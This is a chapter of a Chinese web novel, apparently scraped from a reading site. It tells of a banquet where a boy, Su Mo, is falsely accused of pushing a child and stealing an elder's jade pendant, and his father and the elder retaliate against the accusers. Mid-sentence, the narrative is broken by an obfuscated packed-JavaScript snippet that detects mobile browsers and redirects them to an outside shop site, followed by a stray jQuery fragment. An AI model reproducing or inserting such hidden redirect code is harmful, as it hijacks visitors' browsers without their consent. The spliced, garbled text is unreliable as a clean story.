在宴会厅的一侧,专门开辟出了一个供儿童玩耍的场所。为保障孩子们的安全,地面铺设着柔软的地毯,小孩子们能够尽情地在上面奔跑嬉戏。
靠墙的一周,摆放着巨大的玩具架,上面琳琅满目地陈列着各式各样的玩具。有积木、玩偶、各种各样的玩具车,还有供大一些孩子看视频和玩电动游戏的电子设备。
此时,原本整齐的玩具架变得一片凌乱,苏陌怯生生地站在原地,不知所措。
在他不远处,一个小胖墩摔倒在地,正哇哇大哭,边哭边骂:
“你这个小野种,竟敢推我,一会儿我让我爸爸打死你!”
周围的小孩子也都远远地避开苏陌,满脸嫌弃地看着他。
“他怎么打人啊?他真坏!”
“我们不要跟坏小孩儿玩,让他走开!”
侍应生正在轻声安慰地上哭得伤心的孩子,只有苏陌孤零零地站在原地,低垂着脑袋。
苏秉之满脸寒霜地走了过去,一把将孤零零的小幼崽搂进怀里,冷冽的视线看向一旁的侍应生问道:
“怎么回事儿?”
“不知道怎么了,刚才苏小少爷突然就把这个小朋友推倒了。”
“我相信我的孩子不会随便对人动手的。”
感受到父亲熟悉的气息,原本一言不发、倔强的小幼崽,突然鼻子发酸,“哇”的一声哭了出来,委屈的泪水瞬间打湿了苏秉之的衬衣。
“呜呜,爸爸,呜呜。”
小幼崽紧紧搂住苏秉之的脖颈,仿佛受到了天大的委屈。
小幼崽的哭声让苏秉之的脸色愈发阴沉。自从小孩被接回苏家后,他从未这般哭过,即便为他处理伤口疼了,也只是小声呜咽,不像现在哭得这般撕心裂肺,令他整个心都像是被揪住了一般,心疼得无法呼吸。
一旁莫名被苏陌吸引了眼球的乔宴,也不自觉地跟了上来。看到趴进苏秉之怀里的小幼崽,他心里有种莫名的情绪在悄然蔓延。
这边的动静很快吸引了宴会厅里的众人。
孩子的家长们纷纷围了上来,小胖墩的家长也跑了过来。当看到小胖墩手臂上磕出的红肿印记时,责怪地看向苏秉之怀里的小幼崽,强压着怒气说道:
“苏总,从外面接回来的孩子还是好好调教一下再带出门吧,小小年纪戾气这么重,今天敢无故伤人,他日还不一定……”
苏秉之那冷冽的视线如刀锋一般狠狠射向女人,她瑟缩了一下,不敢再往下说,但脸上明显能看出不忿的表情。
正在双方僵持不下的时候,一个角落里的小姑娘弱弱地开口:
“是顾胖胖先把小弟弟的积木推倒,抢他的东西,还骂他小乞丐来着。”
本来躲进妈妈怀里抹着眼泪的小胖墩,听到有人指认他,当即大怒出声:
“我才没有抢他的东西,明明是他偷了顾爷爷的东西。”说着,他把紧攥在手里的海棠花玉佩伸出来向大家展示,“妈妈,你看,这是顾爷爷的玉佩吧。”
“确实,这就是顾老随身携带的那块玉佩啊。”
周围见过顾龄棠的人,都对顾龄棠随身携带的这块玉佩颇为熟悉,纷纷议论起来。
“没错,没错,海棠花印记,确实是顾老的玉佩。”
“难道真是这个小孩子偷的?”
“不会吧,这小孩子这么小,怎么会偷玉佩,可能是哪里有误会吧。”
“你傻了吗?还记得前几天的八卦新闻吗?上面说这个小孩儿是苏秉之从旧城区接过来的,那里的小孩儿从小就知道偷偷摸摸,别看他年纪小,谁说得准呢!”
一旁的乔宴听着他们议论那个小幼崽,不知怎的,心里很是不舒服,凌厉的视线扫了过去,厉声制止道:
“够了!”
小胖墩是顾家旁系的人,他曾经跟随父亲去过顾宅拜访过顾龄棠,曾远远地看到过顾龄棠十分爱惜那块玉佩,总是随身携带。
他肯定是被那个黑瘦的小乞丐看到后偷了过来,幸好被自己抓到了,不然这玉佩就丢了。
看到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395704|141161||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那块玉佩的时候,苏秉之眼睛里的寒光几乎凝结成了实质。他听保镖说过那次小幼崽见过顾龄棠,是顾龄棠把玉佩送给苏陌的。
苏秉之紧紧抱着在他怀里颤抖的小幼崽,伸出大手把苏陌的小脑袋按进怀里,捂住他的耳朵,不让他听到周围的闲言碎语。
他冷冷地看着刚才说风凉话的那几位:
“从今天起,苏氏集团将切掉一切与温氏建材、金家商贸的业务往来,停止注资,等着被苏氏集团收购吧!”
“我苏秉之的孩子想要什么得不到,稀罕你们顾家的一块小小的玉佩,呵!”
宴会厅的这一异变很快传到了顾龄棠的耳中,顾龄棠脚步匆匆地从楼上下来,正看到委屈得蔫蔫的小幼崽趴在苏秉之怀里,紧紧抱着他的脖子,正被苏秉之抱着往外面走去。
周围的人都被刚才苏秉之爆发的气势所威慑,自动向两边分开,为他们让出一条道路。
他抱着苏陌与顾龄棠擦肩而过,一个眼神都未给他。
“等等,苏家小子。”
苏秉之的脚步丝毫未停顿,径直离开了。
这是怎么回事儿?看着小幼崽的状态,顾龄棠无比心疼。他震怒地看着事件中心的两人。
看清女人手里的玉佩后,顾龄棠神情瞬间一厉。
“我送给苏陌的玉佩怎么在你们手里?”
听见顾龄棠的话,周围的人都惊呆了。
“原来真是顾老送给那个小幼崽的啊。”
侍应生上前把刚才发生的事情原原本本地跟顾龄棠说了一遍。
看着顾老爷子的神情越来越阴沉,那个小胖墩和他的妈妈神情愈发忐忑。
在顾老爷子那越来越凌厉的视线中,他们等待着对自己的判决。
“从今天起,你们不许再踏入我的家门。刚才那几位,我顾家也请不起,高攀不上。”
本来就被苏秉之断绝合作、停止注资的消息砸懵了的各位,又被顾家老爷子厌恶,有些承受不住打击的直接瘫倒在地。